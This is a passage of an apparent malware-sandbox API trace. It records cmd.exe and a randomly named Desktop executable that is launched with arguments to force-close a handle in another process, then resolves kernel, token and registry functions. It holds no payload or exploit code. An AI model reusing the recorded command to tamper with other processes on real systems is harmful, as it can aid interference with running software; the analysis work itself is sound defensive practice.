returned 4 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0078.456] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0078.457] GetProcessHeap () returned 0x5b0000 [0078.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x210) returned 0x5c4678 [0078.457] GetProcessHeap () returned 0x5b0000 [0078.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x68) returned 0x5c4890 [0078.457] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0078.457] GetProcessHeap () returned 0x5b0000 [0078.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x418) returned 0x5c4900 [0078.457] SetErrorMode (uMode=0x0) returned 0x0 [0078.457] SetErrorMode (uMode=0x1) returned 0x0 [0078.457] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5c4908, lpFilePart=0x16f1b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f1b0*="Desktop") returned 0x25 [0078.457] SetErrorMode (uMode=0x0) returned 0x1 [0078.457] GetProcessHeap () returned 0x5b0000 [0078.457] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c4900, Size=0x6e) returned 0x5c4900 [0078.457] GetProcessHeap () returned 0x5b0000 [0078.457] RtlSizeHeap (HeapHandle=0x5b0000, Flags=0x0, MemoryPointer=0x5c4900) returned 0x6e [0078.458] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.458] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.458] GetProcessHeap () returned 0x5b0000 [0078.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x120) returned 0x5c4978 [0078.458] GetProcessHeap () returned 0x5b0000 [0078.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x238) returned 0x5c4aa0 [0078.465] GetConsoleTitleW (in: lpConsoleTitle=0x16f424, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0078.898] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f2ac, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f374 | out: lpAttributeList=0x16f2ac, lpSize=0x16f374) returned 1 [0078.898] UpdateProcThreadAttribute (in: lpAttributeList=0x16f2ac, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f36c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f2ac, lpPreviousValue=0x0) returned 1 [0078.898] GetStartupInfoW (in: lpStartupInfo=0x16f268 | out: lpStartupInfo=0x16f268*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0078.909] CloseHandle (hObject=0x74) returned 1 [0078.909] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.909] GetProcessHeap () returned 0x5b0000 [0078.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2c40 | out: hHeap=0x5b0000) returned 1 [0078.909] GetEnvironmentStringsW () returned 0x5c2c40* [0078.909] GetProcessHeap () returned 0x5b0000 [0078.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb7a) returned 0x5c7330 [0078.909] FreeEnvironmentStringsW (penv=0x5c2c40) returned 1 [0078.909] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0081.020] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x16f248 | out: lpExitCode=0x16f248*=0x1) returned 1 [0081.020] CloseHandle (hObject=0x78) returned 1 [0081.021] _vsnwprintf (in: _Buffer=0x16f390, _BufferCount=0x13, _Format="%08X", _ArgList=0x16f254 | out: _Buffer="00000001") returned 8 [0081.021] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0081.021] GetProcessHeap () returned 0x5b0000 [0081.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x5b0000) returned 1 [0081.021] GetEnvironmentStringsW () returned 0x5c2c40* [0081.021] GetProcessHeap () returned 0x5b0000 [0081.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb7a) returned 0x5c7330 [0081.021] FreeEnvironmentStringsW (penv=0x5c2c40) returned 1 [0081.021] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0081.021] GetProcessHeap () returned 0x5b0000 [0081.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x5b0000) returned 1 [0081.021] GetEnvironmentStringsW () returned 0x5c2c40* [0081.021] GetProcessHeap () returned 0x5b0000 [0081.021] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb7a) returned 0x5c7330 [0081.021] FreeEnvironmentStringsW (penv=0x5c2c40) returned 1 [0081.021] GetProcessHeap () returned 0x5b0000 [0081.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c00a8 | out: hHeap=0x5b0000) returned 1 [0081.021] DeleteProcThreadAttributeList (in: lpAttributeList=0x16f2ac | out: lpAttributeList=0x16f2ac) [0081.021] _get_osfhandle (_FileHandle=1) returned 0x80 [0081.021] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0081.021] _get_osfhandle (_FileHandle=1) returned 0x80 [0081.021] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0081.021] _get_osfhandle (_FileHandle=0) returned 0x3 [0081.022] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0081.022] SetConsoleInputExeNameW () returned 0x1 [0081.022] GetConsoleOutputCP () returned 0x1b5 [0081.022] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0081.022] SetThreadUILanguage (LangId=0x0) returned 0x409 [0081.022] exit (_Code=1) Process: id = "143" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0xd59c000" os_pid = "0xc68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbb4" cmd_line = "bv6ncK8c.exe -accepteula -c 130 -y -p 1824 -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 690 os_tid = 0xc6c [0077.716] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0077.717] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0077.718] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0077.719] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0077.720] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0077.721] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0077.722] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0077.723] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0077.723] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0077.723] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0077.723] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0077.724] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0077.724] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0077.724] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0077.724] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0077.724] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0077.724] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0077.724] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0077.724] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0077.724] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0077.724] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0077.724] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0077.724] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0077.724] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0077.724] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0077.725] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0077.725] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0077.725] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0077.725] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0077.725] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0077.725] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0077.725] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0077.725] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0077.725] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0077.733] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0077.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd2b15f00, dwHighDateTime=0x1d5d06a)) [0077.734] GetCurrentThreadId () returned 0xc6c [0077.734] GetCurrentProcessId () returned 0xc68 [0077.734] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=21968585858) returned 1 [0077.734] GetProcessHeap () returned 0x270000 [0077.734] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0077.734] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0077.734] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0077.735] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0078.465] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0078.466] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0078.467] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0078.467] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3bc) returned 0x2860c8 [0078.467] GetCurrentThreadId () returned 0xc6c [0078.467] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x18) returned 0x286490 [0078.467] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x800) returned 0x2864b0 [0078.467] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c 130 -y -p 1824 -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xce0a8b55, hStdError=0x0)) [0078.467] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0078.467] GetFileType (hFile=0x3) returned 0x2 [0078.468] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0078.468] GetFileType (hFile=0x7) returned 0x2 [0078.468] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0078.468] GetFileType (hFile=0xb) returned 0x2 [0078.468] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c 130 -y -p 1824 -nobanner" [0078.469] GetEnvironmentStringsW () returned 0x286cb8* [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0xb86) returned 0x287848 [0078.469] FreeEnvironmentStringsW (penv=0x286cb8) returned 1 [0078.469] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x8e) returned 0x286cb8 [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa0) returned 0x286d50 [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3e) returned 0x2883f0 [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x6c) returned 0x286df8 [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x6e) returned 0x286e70 [0078.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x78) returned 0x27f8e8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x62) returned 0x286ee8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x286f58 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x286f90 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2a) returned 0x286fe0 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x28) returned 0x287018 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x285a98 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4a) returned 0x287048 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x72) returned 0x27f968 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x2870a0 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x2e) returned 0x2870d8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1c) returned 0x285ac0 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xd2) returned 0x287110 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x7c) returned 0x2871f0 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x287278 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x3a) returned 0x288438 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x90) returned 0x2872b8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x24) returned 0x287350 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x30) returned 0x287380 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x36) returned 0x2873b8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x2873f8 [0078.470] RtlAllocateHeap (HeapHandle=0x270000, 